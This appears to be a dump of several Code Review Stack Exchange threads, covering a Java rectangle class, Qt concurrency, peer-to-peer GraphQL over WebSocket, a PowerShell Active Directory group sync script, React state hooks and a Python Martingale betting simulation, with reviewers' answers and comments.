"body": "<pre class=\"lang-java prettyprint-override\"><code> private final double x, y;\n private final double width;\n private final double height;\n\n public Rectangle(double x0, double y0, double w, double h)\n {\n x = x0; y = y0; width = w; height = h;\n }\n</code></pre>\n<p>That really should be something like this, considering readability and the default Java patterns:</p>\n<pre class=\"lang-java prettyprint-override\"><code> private final double x;\n private final double y;\n private final double width;\n private final double height;\n\n public Rectangle(double x, double y, double width, double height) {\n this.x = x;\n this.y = y;\n this.width = width;\n this.height = height;\n }\n</code></pre>\n<p>Having said that, neither is <code>b</code> a good variable name. I understand the constraints of printed media, but the example code wasn't already that good.</p>\n<hr />\n<p>Now, regarding your implementation. Storing the values for <code>left</code>/<code>right</code>/etc. might be a nice solution. Also, they should most likely be prefixed with <code>get</code>, like <code>getLeft</code>.</p>\n<p>The contains function could be rewritten to utilize that:</p>\n<pre class=\"lang-java prettyprint-override\"><code> public boolean contains(Rectangle otherRectangle) {\n return getLeft() <= otherRectangle.getLeft()\n && getRight() >= otherRectangle.getRight()\n && getBottom() <= otherRectangle.getBottom()\n && getTop() >= otherRectangle.getTop();\n }\n</code></pre>\n<hr />\n<p><code>intersects</code> is quite a mess, I have to say, it can be made much more readable by using a helper function.</p>\n<pre class=\"lang-java prettyprint-override\"><code>private boolean contains(double x, double y) {\n return x >= getLeft() && x <= getRight()\n && y >= getBottom() && y <= getTop();\n}\n\nprivate boolean overlapsHorizontalLine(double xStart, double xEnd, double y) {\n return xStart <= getLeft()\n && xEnd >= getRight()\n && y >= getBottom()\n && y <= getTop();\n}\n\nprivate boolean overlapsVerticalLine(double yStart, double yEnd, double x) {\n return yStart <= getBottom()\n && yEnd >= getTop()\n && x >= getLeft()\n && x <= getRight();\n}\n\npublic boolean intersects(Rectangle otherRectangle) {\n return contains(otherRectangle.getLeft(), otherRectangle.getTop())\n || contains(otherRectangle.getLeft(), otherRectangle.getBottom())\n || contains(otherRectangle.getRight(), otherRectangle.getTop())\n || contains(otherRectangle.getRight(), otherRectangle.getBottom())\n || overlapsHorizontalLine(otherRectangle.getLeft(), otherRectangle.getRight(), otherRectangle.getBottom())\n || overlapsHorizontalLine(otherRectangle.getLeft(), otherRectangle.getRight(), otherRectangle.getTop())\n || overlapsVerticalLine(otherRectangle.getBottom(), otherRectangle.getTop(), otherRectangle.getLeft())\n || overlapsVerticalLine(otherRectangle.getBottom(), otherRectangle.getTop(), otherRectangle.getRight());\n}\n\n</code></pre>\n<hr />\n<p>Your <code>Rectangle</code> class is doing too much, namely, everything. Ideally <code>Rectangle</code> would only contain the data for a single rectangle, and a <code>Main</code> class would contain your <code>main</code>, <code>randomize</code> and do the drawing.</p>\n<hr />\n<p>Instead of using an array, you could use a <code>List</code>:</p>\n<pre class=\"lang-java prettyprint-override\"><code>List<Rectangle> rectangles = new ArrayList<>();\n\nfor (int counter = 0; counter < numberOfRectangles; counter++) {\n rectangles.add(new Rectangle(...));\n}\n\nfor (Rectangle rectangle : rectangles) {\n draw(rectangle);\n}\n</code></pre>\n<hr />\n<p>You could split your <code>main</code> also in different functions, like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public static final main(String[] args) {\n List<Rectangle> rectangles = createRectangles(args);\n drawRectangles(rectangles);\n\n double averageArea = calculateAverageArea(rectangles);\n System.out.println("Average area = " + Double.toString(averageArea));\n \n // And so on...\n}\n</code></pre>\n<p>If you feel extra fancy, you can create a <code>Configuration</code> class which, parses the given arguments into a POJO, which is then used/passed around.</p>\n<hr />\n<p>Your calculation of the intersections could be simplified by directly summing up the intersections.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:46:34.297",
"Id": "488944",
"Score": "0",
"body": "Your implementation of `intersects` assumes that if rectangles intersect then at least one corner is inside the other rectangle, this isn't always true. (imagine a + sign made of 2 rectangles)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:50:48.720",
"Id": "489015",
"Score": "0",
"body": "You're right, missed that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:57:21.093",
"Id": "489016",
"Score": "0",
"body": "@potato I've added it, I'm sure there is a better way, but I can't concentrate right now. Feel free to edit it."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T16:05:05.897",
"Id": "249399",
"ParentId": "249393",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "249399",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:21:23.547",
"Id": "249393",
"Score": "8",
"Tags": [
"java",
"beginner",
"object-oriented"
],
"Title": "Data-type implementation for axis-aligned rectangles"
}
|
249393
|
<p>The idea is that, in my application I have 5 routines named <code>long_process_1</code>, <code>long_process_2</code>, <code>long_process_3</code>, <code>long_process_4</code>, <code>long_process_5</code>. These are each long calculations that would hang the GUI and can only be called in that order. When each result is ready, user input is required about the result. So we call <code>ask_user_1</code>, <code>ask_user_2</code>, <code>ask_user_3</code>, <code>ask_user_4</code>, <code>ask_user_5</code> which must obviously run in the main GUI thread. Thus the whole thing cannot be run in a separate thread in its entirety. Here's how I did it:</p>
<pre class="lang-cpp prettyprint-override"><code>void MainWindow::on_button_click() // starts with a button click
{
QEventLoop eventLoop;
QFutureWatcher<int> watch;
// Watcher intercepts eventLoop when the computation is finished
connect(&watch, &decltype(watch)::finished, &eventLoop, &decltype(eventLoop)::quit);
auto const res1 = QtConcurrent::run(long_process_1);
watch.setFuture(res1);
eventLoop.exec(); // Handles GUI during computation
auto const user_in1 = ask_user_1(res1);
auto const res2 = QtConcurrent::run(long_process_2, user_in1);
watch.setFuture(res2);
eventLoop.exec();
auto const user_in2 = ask_user_2(res2);
auto const res3 = QtConcurrent::run(long_process_3, user_in2);
watch.setFuture(res3);
eventLoop.exec();
auto const user_in3 = ask_user_3(res3);
auto const res4 = QtConcurrent::run(long_process_4, user_in3);
watch.setFuture(res4);
eventLoop.exec();
auto const user_in4 = ask_user_4(res4);
auto res5 = QtConcurrent::run(long_process_5, user_in4);
watch.setFuture(res5);
eventLoop.exec();
(void)ask_user_5(res5); // result is not used
}
</code></pre>
<p>This works alright. I find this a lot simpler than running the whole thing through "on-finished" signal-slots. It also simplifies ownership of local variables/function results as they are all in a single function. The long routines are clearly decoupled from the function calling them. It seems a bit odd overall though. I got the idea from very old Qt <a href="https://doc.qt.io/archives/qq/qq27-responsive-guis.html" rel="nofollow noreferrer">docs</a>. All comments are welcome.</p>
|
[] |
[
{
"body": "<p>Running non-gui related stuffs using the main event-dispatch(gui-thread) is kind of anti-gui practice.</p>\n<p>If first process should be called, and then second process, so it's basically a long synchronous calls (with user prompt between each)</p>\n<p>Probably(good practice) is run the first long process using a thread(usually out of event-dispatch/gui-thread).</p>\n<p>Meanwhile, the long process could inform the GUI about the process by sending progress events(assuming gui works as a process-progress-listener here).</p>\n<p>Now, because the long process is run by a thread, gui is functional, and not freezing, so user could see progress, or control the progress(e.g. abort, etc...)</p>\n<p>Once the long thread is finished, ask the gui-thread/event-dispatch for user prompt, and if starting the second long process is a thing, go for it just like first one using a thread.</p>\n<p><strong>Overall</strong></p>\n<p>Try not to perform excessive non-gui stuffs using gui-thread/event-dispatch. This is actually a good practice.</p>\n<p>Try not to perform gui related stuffs(such as updating a progress-bar value/status) using non-gui threads(out of widget/dispatch scope). This may not be valid for all widgets, but usually(possible) any gui change(here like progress-bar change) seems to be ignored.<br />\nBut actually that out-of-scope thread could not force the main-gui thread to perform a refresh/repaint on target component.</p>\n<p>Assuming, the-gui/event-dispatch thread is the guy who sitting next to the widget door, and is waiting for any gui-related requests.<br />\nSo if a request about updating progress-bar is made <em>correctly</em> by the expected routine, that guy will repaint the target progress-bar since it have to.</p>\n<p>But what happens when the request came from out of event-dispatch scope? It's more like getting into the room from windows, rather the door, and the guy next to it.<br />\nSo technically progress bar will be updated, but might not updated immediately(or at all), since the guy who in charge to keeps ui updated did not realized there is a requests that forces component(s) to get repainted.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:10:40.650",
"Id": "488865",
"Score": "0",
"body": "I am not sure what I am doing is excessively non-gui in gui thread though. All non-gui stuff are done in other threads. Gui thread simply handles the user-interaction part. Otherwise it gets way too complicated. The gui thread creates a worker thread. This thread returns back with the answer, but can't prompt the user, so somehow has to go ask the gui thread to do it. Gui thread must call a different function which does the second thread creation, which must also do the same thing. Then a third function and so on and so on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:11:07.717",
"Id": "488866",
"Score": "0",
"body": "Could you in a small sample show how you would propose this to be done?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:55:15.497",
"Id": "488869",
"Score": "0",
"body": "Not every widget come with same/one threading/dispatching impl. But certainly there must a way in your case to allow the worker non-gui thread callback a gui routine when it's done, lets see what QT provide for that then? ([this](https://doc.qt.io/qt-5/qtcore-threads-waitconditions-example.html) may help)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T15:51:11.803",
"Id": "249398",
"ParentId": "249396",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:18:56.647",
"Id": "249396",
"Score": "2",
"Tags": [
"c++",
"c++17",
"concurrency",
"gui",
"qt"
],
"Title": "Concurrent dependant routines in a gui application"
}
|
249396
|
<p>Here is my Relay Network:</p>
<pre><code>async function fetchQuery(
operation,
variables,
) {
// hash graphql query for unique listener
const hash = await digestMessage(operation.text);
// send query to websocket
doSend(JSON.stringify({
message: 'request',
query: operation.text,
hash,
variables,
}));
// listen on response from WebSocket, events to promise
return await response({ eventEmitter, hash })
}
</code></pre>
<p>Here is my WebSocket listener:</p>
<pre><code>function onMessage (evt: MessageEvent) {
const payload = JSON.parse(evt.data)
if (payload.message === 'request') {
// run graphql query if WebSocket message is a 'request'
graphql(schema, payload.query).then(result => {
doSend(
JSON.stringify({
message: 'response',
hash: payload.hash,
data: result.data
})
)
})
} else if (payload.message === 'response') {
// emit local event with results of graphql resolver if WebSocket message is a 'response'
eventEmitter.emit(payload.hash, { data: payload.data })
}
}
</code></pre>
<p>Design Goals:</p>
<ol>
<li>GraphQL support with minimal backing services, here just a WebSocket server.</li>
<li>Use client devices, the browser, for persistence instead of a server.</li>
</ol>
<p>Design Constraints / GraphQL and Relay Goals:</p>
<ol>
<li>Provide data in a form that is useful to product developers building
a view.</li>
<li>Fetch data more efficiently.</li>
<li>Decouple product code and server logic.</li>
</ol>
<p>Attempted Approaches:</p>
<ol>
<li>WAMP: Needs a server for router.</li>
<li>Web-RTC: Needs a WebSocket server for signaling. For a broadcast, each peer needs to connect to all peers without a server or use WebTorrent / DHT</li>
<li>WebSocket in React useEffect: No React reconciliation. No Relay declarative data-fetching.</li>
</ol>
<p>Work in Progress:</p>
<ol>
<li>Load balancing: Limiting only one response, and deciding who responds next.</li>
<li>Versioning: If peers have an old schema or resolver logic changes.</li>
<li>Authentication: Verifying OAuth tokens in browser.</li>
<li>Local storage security and risk: Browser now stores credentials, like payment processing tokens, instead of server.</li>
<li>Abuse: Just anyone joins WebSocket and sends out bad data.</li>
</ol>
<p>Feedback welcome. I looked for similar projects and found a lack of references.</p>
|
[] |
[
{
"body": "<h1>Don't!</h1>\n<p>After working on this for too long, I'm moving onto something else, and don't suggest you do this. Typical over reach. When building an internet application, you have to ask yourself, are internet servers and the internet itself really the problem? Here are some specifics:</p>\n<ol>\n<li><strong>Are Servers Really a Problem?</strong> WebRTC requires signaling. Free platforms or WebSocket servers can still be DDoS, requiring something else in front of it. Servers are an easy, often free utility compared to storage and compute on an abstraction of client devices.</li>\n<li><strong>Who's Really Offline Today?</strong> Mobile and Wifi are ubiquitous. There's web workers. 5G has billions invested in using client devices in conjugation with data providers down to the chips with efficient power consumption.</li>\n<li><strong>Peer Discovery</strong> A lot of the products that bill themselves as decentralized are surprisingly centralized when it comes to peer discovery.</li>\n<li><strong>Authoritative Data</strong> Anyone can resolve a query with anything. Requests require complex validation, dropping the peer, and reporting to a signaling server.</li>\n<li><strong>Dedicated Coverage</strong> No peer instances require a server. Headless browsers may drop WebRTC support.</li>\n<li><strong>Private data</strong> Servers provide an area of mitigated security, as in, if someone's rooted your server and reads API secrets, you have bigger problems. Peers require specialization, as in adding a Stripe secret in local storage, and announcing checkout support.</li>\n<li><strong>HTTP Cookie</strong> This was the final deal breaker. Cookies with the secure header prevent JavaScript access to secrets. Server required, non-negotiable.</li>\n</ol>\n<p>At best, you have a very complex and insecure infrastructure still running servers.</p>\n<p>A better alternative is to find a graphql platform. Then run fail2ban for DDoS protection on a free tier Google Cloud Engine server, and put that in front of the graphql platform.</p>\n<p>For more scaling, like expensive compute, setup redis as a queue, and process on a local private network.</p>\n<p>Rest here is left as a reference:</p>\n<hr />\n<p>I created an <a href=\"https://www.npmjs.com/package/peer-graphql\" rel=\"nofollow noreferrer\">npm</a> based on this concept, with <a href=\"https://github.com/urgent/peer-graphql\" rel=\"nofollow noreferrer\">github repo.</a>. Feedback and contributions welcomed.</p>\n<p>Here's some highlights after about <a href=\"https://github.com/urgent/peer-graphql-cra/projects/1\" rel=\"nofollow noreferrer\">a month's work</a></p>\n<h1>Load Balancing</h1>\n<ol>\n<li>Create a <a href=\"https://github.com/urgent/peer-graphql-cra/blob/master/src/features/peer-graphql/reducers/Request.tsx#L111\" rel=\"nofollow noreferrer\">random delay</a> on each peer from 0 to 3s in intervals of 20ms.</li>\n<li>During delay, use <a href=\"https://relay.dev/docs/en/local-state-management#update\" rel=\"nofollow noreferrer\">GraphQL's</a> local state management to save incoming responses.</li>\n<li>After delay, <a href=\"https://github.com/facebook/relay/issues/676#issuecomment-325214249\" rel=\"nofollow noreferrer\">check local state</a> for response. Clear state if exists then short circuit exit.</li>\n</ol>\n<h1>Source Authentication</h1>\n<ol>\n<li>Use a public key crypto library like <code>nacl</code>.</li>\n<li>When sending a response, <a href=\"https://github.com/dchest/tweetnacl-js#signatures\" rel=\"nofollow noreferrer\">sign</a> the hash, and provide public key.</li>\n<li>When receiving a response, verify the signature.</li>\n</ol>\n<h1>Validation</h1>\n<ol>\n<li>Use io-ts to validate the WebSocket message. My <code>hash</code>, <code>query</code>, and <code>signature</code> properties are <code>strings</code>. My <code>variable</code> property is a <code>record of strings</code> and my <code>uri</code> property, is either "request" or "response".</li>\n<li><code>graphql</code> runs the request's <code>query</code> in browser with <code>variables</code> so no injection.</li>\n<li>A custom graphql-tools codegen takes the graphql schema, and generates io-ts types. These types runtime decode websocket response data.</li>\n</ol>\n<h1>Authoritative Data</h1>\n<p>Even with all this, there is no authoritative data sources. If you build an online store, someone can join and start responding with <code>{price: 0.00}</code>.</p>\n<p>Load balancing times them out, authentication tags them, validation makes them do some work, so there's momentum working here. It's not just opening a URL. Still it's possible to open a browser window and send bad data.</p>\n<p>My plan is to use brain.js. Train a test set of good and bad source detection. Bundle with the app. Property, value, and source should be enough for consensus and alerting the peer network of bad sources. Other ideas are transparency with good UI and let the user detect bots, and also references. Send a supplier list along with the price, and let the app independently validate. All these are domain specific so I left it out of graphql networking implementation.</p>\n<h1>Rendering, Suspense API</h1>\n<p>Work in progress, will report back soon.</p>\n<p><strong>Update: 10/21/20</strong>\nRelayEnvironmentProvider component suspends. Since this at the top level of the app, the entire app suspends as oppose to individual components. The relay issue-tracker demo has a custom react experimental version. I'm creating a <a href=\"https://github.com/urgent/peer-graphql\" rel=\"nofollow noreferrer\">npm</a> to see if I can drop this functionality into Relay networking.</p>\n<h1>Bundle Size</h1>\n<p>react, react-relay, relay-runtime, and graphql are all 100kb+ each. brain.js is at ~580kb. Working in the browser, and built for the browser are two different things.</p>\n<p>To keep bundle size small, I webpack these as external modules loaded from the vendor's CDN, excluded from webpack build.</p>\n<h1>Other</h1>\n<p><code>graphql-tools</code> has limited browser support. file includes do not work. Instead I went with compile time codegen while building io-ts runtime decoding from graphql schema.</p>\n<p>jest has limited support too, especially with create-react-app. I wanted to import all files in a folder automatically. browser supports this but jest doesn't. If I want that extensibility, compile time codegen would be the best.</p>\n<p>Also jest does not support TextEncoder, which relay uses, and was used but no longer in my nacl implementation. I used StandardLib instead.</p>\n<p>I looked into modeling a state machine for this. xState and graphql is redundant. graphql is really nice, the best state management there is. It's best to avoid complex state as most as possible. Straight through pure functions with just input and output, best you can do.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-13T21:44:02.073",
"Id": "250617",
"ParentId": "249401",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "250617",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T17:51:44.580",
"Id": "249401",
"Score": "2",
"Tags": [
"graphql"
],
"Title": "Peer to Peer GraphQL with Relay over WebSocket"
}
|
249401
|
<p>I have an AD Group I keep up-to-date based on a CSV file. Users not present in the file should be removed from the AD Group.</p>
<pre><code>
#Import New List
$NewList= (Import-Csv E:\Group_Update\newlist.csv).SamAccountName
#backup old members
Get-ADGroupMember LAB_HR | select SamAccountName | Export-Csv E:\Group_Update\Group_B4_update.csv -NoTypeInformation
# Get old members
$oldusers= (Get-ADGroupMember LAB_HR | select SamAccountName).SamAccountName
# List group members not listed in the new list -- To be Deleted
$RemoveMembers= $oldusers | where {$NewList -notcontains $_}
# add new members
foreach ($user in $NewList) {
Add-ADGroupMember lAB_HR $user
Write-Host $user "has been added to Group"
}
# delete members not in the new list
foreach ($remove in $RemoveMembers){
Remove-ADGroupMember LAB_HR $remove -Confirm:$false
Write-Host $remove "has been removed from group "
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T02:14:21.090",
"Id": "488905",
"Score": "1",
"body": "so ... what is your Question? [*grin*]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:35:24.820",
"Id": "489225",
"Score": "0",
"body": "I'm just sharing what I got here, and very welcome if anyone suggest a better way for do the same function. thanks :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:01:56.393",
"Id": "489240",
"Score": "0",
"body": "ah! ok, here are a few comments [*grin*] ... [1] you are making two calls to grab the OldMembers of that group. i would make that call only _one time_. [2] you are adding the New members and then removing the Old ones that are not in the new list. have you thot about just removing ALL the group members and then adding the new ones?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T17:58:21.683",
"Id": "249402",
"Score": "3",
"Tags": [
"powershell",
"active-directory"
],
"Title": "Update AD Group based on CSV File"
}
|
249402
|
<p>I have declared a react hook which will contain an array of object as follows:</p>
<pre><code>const [rowDataTracker, setRowDataTracker] = useState([]);
</code></pre>
<p>Now I need to update the hook to basically create a payload as the following:</p>
<pre><code>[
{id: 100, payload: {field1: "value", field2: "value"}},
{id: 105, payload: {field1: "value", field3: "value"}},
{id: 109, payload: {field4: "value"}}
]
</code></pre>
<p>I need to check the following condition Before updating the hook:</p>
<ul>
<li>Need to first check if the <strong>id</strong> exists in the array or not</li>
<li>if the <strong>id</strong> exists, then need to update/add the <strong>filed</strong> to the payload object</li>
<li>if the <strong>id</strong> does not exist, add a new object to the array with <strong>id</strong> and the <strong>field</strong></li>
</ul>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code>const ifItemExist = (arr, item) => {
return arr.findIndex((e) => e.id === item);
};
function storeEdit(rowId, field, newValue) {
let itemIndex = ifItemExist(rowDataTracker, rowId);
let newArr = [...rowDataTracker];
if (itemIndex > -1) {
newArr[itemIndex]["payload"][columnId] = newValue;
} else {
const obj = {
itemNbr: rowId,
payload: {
[field]: newValue
}
};
newArr.push(obj);
}
setRowDataTracker(newArr);
}</code></pre>
</div>
</div>
</p>
<p>I am not sure if this is the correct way to update a hook.
Any review and suggestion will be appreciated.</p>
|
[] |
[
{
"body": "<p><strong>Mutation</strong> You are <em>mutating</em> the existing state when you do</p>\n<pre><code>let newArr = [...rowDataTracker];\n// ..\n newArr[itemIndex]["payload"][columnId] = newValue;\n</code></pre>\n<p>because spread syntax only creates a shallow copy of the array or object. This should never be done in React. (See end of answer for how to fix it - create the new <code>obj</code> no matter what, then either push it to the new array, or replace the existing object in the array, without mutating the existing object in the array)</p>\n<p><strong>Dot notation</strong> Most people prefer to read and write using dot notation in JS when possible - it's more concise and easier to read. ESLint rule: <a href=\"https://eslint.org/docs/2.0.0/rules/dot-notation\" rel=\"nofollow noreferrer\"><code>dot-notation</code></a>. You can use <code>.payload</code> instead of <code>["payload"]</code>.</p>\n<p><strong>Property/variable naming</strong> The <code>rowId</code> refers to the same thing as the <code>itemNbr</code>, which looks to refer to the same thing as the <code>id</code> in the <code>rowDataTracker</code> array. It's good to be consistent with variable names and properties when possible - consider picking one and sticking with it. If you use the variable name <code>itemNbr</code>, you can use it shorthand in the object literal:</p>\n<pre><code>const obj = {\n itemNbr,\n // ...\n</code></pre>\n<p><strong><code>id</code> or <code>itemNbr</code> or both</strong>? You check against the <code>id</code> property in <code>rowDataTracker</code> in <code>ifItemExist</code>, but you push to the same array with a property named <code>itemNbr</code>. This looks very likely to be a typo. You probably meant to push an object with an <code>id</code> property, or you wanted to check against the <code>itemNbr</code> property instead.</p>\n<p><strong>Misleading function name</strong> <code>ifItemExist</code> doesn't return a boolean indicating if an item exists - it returns the <strong>index</strong> of the possibly-existing item. Maybe call it <code>getItemIndex</code>.</p>\n<p><strong><a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">Prefer <code>const</code></a></strong> over <code>let</code> when the variable name doesn't need to be reassigned.</p>\n<p><strong>In all</strong>:</p>\n<pre><code>const getItemIndex = (arr, item) => {\n return arr.findIndex((e) => e.id === item);\n};\n\nfunction storeEdit(id, field, newValue) {\n const itemIndex = getItemIndex(rowDataTracker, id);\n const obj = {\n id,\n payload: {\n ...rowDataTracker[itemIndex]?.payload,\n [field]: newValue\n }\n };\n if (itemIndex === -1) {\n setRowDataTracker([...rowDataTracker, obj]);\n return;\n }\n const newArr = [...rowDataTracker];\n newArr[itemIndex] = obj;\n setRowDataTracker(newArr);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T04:27:51.237",
"Id": "489072",
"Score": "0",
"body": "Thank you for the detailed review. It is helpful."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T19:29:33.597",
"Id": "249409",
"ParentId": "249405",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "249409",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:23:25.090",
"Id": "249405",
"Score": "5",
"Tags": [
"javascript",
"object-oriented",
"array",
"react.js",
"react-native"
],
"Title": "React hooks update array of object"
}
|
249405
|
<p>Script simulates the Martingale betting strategy of betting a fixed amount until a loss occurs, at which point the bettor doubles the bet to make up for the loss. This continues until a win occurs. After a win, the bet is reset to the original bet value. I set the odds to mimic Blackjack (49% chance of a win). For simplicity, the amount won or lost in a round is equal to the bet. The simulation ends when the specified number of rounds has elapsed, the size of the next bet is larger than the current available funds, the available funds reach 0, or the goal profit is met.</p>
<p>I'm brand new to Python and coding in general, so any feedback would be appreciated.</p>
<pre><code>import random
class MartGame:
def __init__(self, bet=25, starting_funds=5000, goal_profit=1000, round_n=0, rng_v=0.00,
wins=0, losses=0, loss_run=0, win_run=0):
self.bet = bet
self.starting_funds = starting_funds
self.goal_profit = goal_profit
self.round_n = round_n
self.rng_v = rng_v
self.wins = wins
self.losses = losses
self.los_run = loss_run
self.win_run = win_run
self.original_bet = bet
self.current_funds = self.starting_funds
def rng(self):
"""Generates random number"""
self.rng_v = random.random()
def winloss_generator(self):
"""Generates win/loss condition"""
if self.rng_v <= .49:
return 'win'
else:
return 'loss'
def increase_winloss(self):
"""Increases wins or losses variable based on winloss_generator output"""
if self.winloss_generator() == 'win':
self.wins += 1
return 'win'
elif self.winloss_generator() == 'loss':
self.losses += 1
return 'loss'
else:
print('error')
def increase_round(self):
"""Increases round number by 1"""
self.round_n += 1
def change_current_funds(self):
"""Increases or decreases current_funds based on winloss_generator output"""
if self.winloss_generator() == 'win':
self.current_funds += self.bet
elif self.winloss_generator() == 'loss':
self.current_funds -= self.bet
else:
print('error')
def change_bet(self):
"""If outcome is a win, bet is reset to original value. If outcome is a loss bet is doubled"""
if self.winloss_generator() == 'win':
self.bet = self.original_bet
elif self.winloss_generator() == 'loss':
self.bet = self.bet * 2
def running_profit(self):
"""Returns running profit"""
return self.current_funds - self.starting_funds
def current_funds(self):
"""Returns running total of funds"""
return self.current_funds
def print_current_record(self):
"""Prints current win/loss record to screen"""
print('Current Record: ', self.wins, 'wins, ', self.losses, 'losses')
def print_winloss(self):
"""Prints win/loss condition to screen"""
print(self.winloss_generator())
def print_profit(self):
"""Prints running profit to screen"""
print(self.running_profit(), 'running_profit'.upper())
def print_running_total(self):
"""Prints running total to the screen"""
print(self.current_funds, 'current funds'.upper())
def print_round(self):
"""Prints current round"""
print('Round:', self.round_n)
def print_current_bet(self):
"""Prints current bet"""
print('Bet:', self.bet)
def run(self, rounds, each=False):
"""Runs simulation for specified number of rounds. 'each' argument indicates
whether each round should be displayed. False will only display the final results"""
while self.running_profit() < self.goal_profit and \
self.round_n < rounds and self.current_funds > 0 \
and self.current_funds > self.bet:
self.increase_round()
self.rng()
self.winloss_generator()
self.increase_winloss()
self.change_current_funds()
if each is True:
self.print_round()
self.print_current_bet()
self.print_winloss()
self.print_running_total()
self.print_profit()
self.print_current_record()
print()
self.change_bet()
print()
self.end_script()
def end_script(self):
"""Prints final outcome of the simulation and summary of the results"""
if self.running_profit() == self.goal_profit:
print('YOU WIN!')
else:
print('YOU LOSE')
print("Total Rounds:", self.round_n)
print('Win/Loss Record: ', self.wins, 'Wins', self.losses, 'Losses')
print('Ending Funds:', self.current_funds)
print('Goal Profit:', self.goal_profit)
print("Ending Profit:", self.running_profit())
inst = MartGame(25, 5000, 1000)
inst.run(1000, True)
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Classes are useful when you want to create more than one object from the same class, or create and destroy objects while running. In this case, you just have one object.</p>\n<p>This is not the kind of program where you need a class. If you didn't use a class, you could have the exact same program but remove every <code>self.</code> in your code, which makes it shorter and easier to read and write.</p>\n<p>All of this is not needed either (when you don't use a class) since variables will just be global within the script, or local within your <code>main()</code> function if you have one.</p>\n<pre><code> self.bet = bet\n self.starting_funds = starting_funds\n self.goal_profit = goal_profit\n self.round_n = round_n\n self.rng_v = rng_v\n self.wins = wins\n self.losses = losses\n self.los_run = loss_run\n self.win_run = win_run\n self.original_bet = bet\n self.current_funds = self.starting_funds\n</code></pre>\n<p>The function below is also meaningless, whether you use a class or not. It is only used in one place in the code, so it would save lines of code and brainpower for the developer to just increment the variable directly in that one place, not do it via a function.</p>\n<pre><code>def increase_round(self):\n """Increases round number by 1"""\n self.round_n += 1\n</code></pre>\n<p>The function below is even more useless. It is not even called since you are (correctly) referring the variable directly where used. It also has the same name as the variable <code>current_funds</code> , which might lead to problems.</p>\n<pre><code>def current_funds(self):\n """Returns running total of funds"""\n return self.current_funds\n</code></pre>\n<p>The below looks weird. Why don't you just print <code>'RUNNING_PROFIT'</code> ?</p>\n<pre><code>'running_profit'.upper()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T23:45:56.177",
"Id": "488894",
"Score": "0",
"body": "Thank you for the feedback. I originally wrote this script without a class and was told by a user on Stack Overflow that I should implement one. I was using the globals everywhere in almost every function to keep track of running totals which would otherwise be reset by the function every time it ran. What would be a good solution for that problem?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T00:20:32.183",
"Id": "488897",
"Score": "0",
"body": "I don't understand the question, and I don't see the problem. Perhaps it would help to see the version you wrote without a class. In the current program, the class is only initialised once, all the variables are \"effectively global\" within the object itself, and all the code runs within that single object. So encapsulating all of this within an object does nothing really. It just adds a lot of code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T00:28:47.710",
"Id": "488898",
"Score": "0",
"body": "Found your original post. You defined `running_profit = running_total - starting_funds` and answers/comments explained why that didn't work. It does not create a dependency, and the solution is like you did in this code, to create a function for it instead so that it is calculated each time you need it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T00:30:28.760",
"Id": "488899",
"Score": "0",
"body": "Also, from the suggestions to the StackOverflow post, I agree that it would be good to create a `main` function and keep the variables (\"state\") inside, while using other functions to calculate intermediate values as needed. Values will be passed between functions, but you shouldn't need globals."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T00:39:17.193",
"Id": "488900",
"Score": "0",
"body": "The problem with the program you posted on SO is that you're not passing parameters into your functions, and in some cases not returning values either. If you did, you wouldn't need any globals. If you post that program here on codereview, I'll suggest some changes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:28:59.183",
"Id": "489500",
"Score": "0",
"body": "I think I figured out what you were telling me. I ditched the class, defined variables in a main function, and used functions to pass in values. This is the refactored code https://pastebin.com/X6RZCAtr . I'm sure there's still plenty of room for improvement, but I hope this is better."
},
{
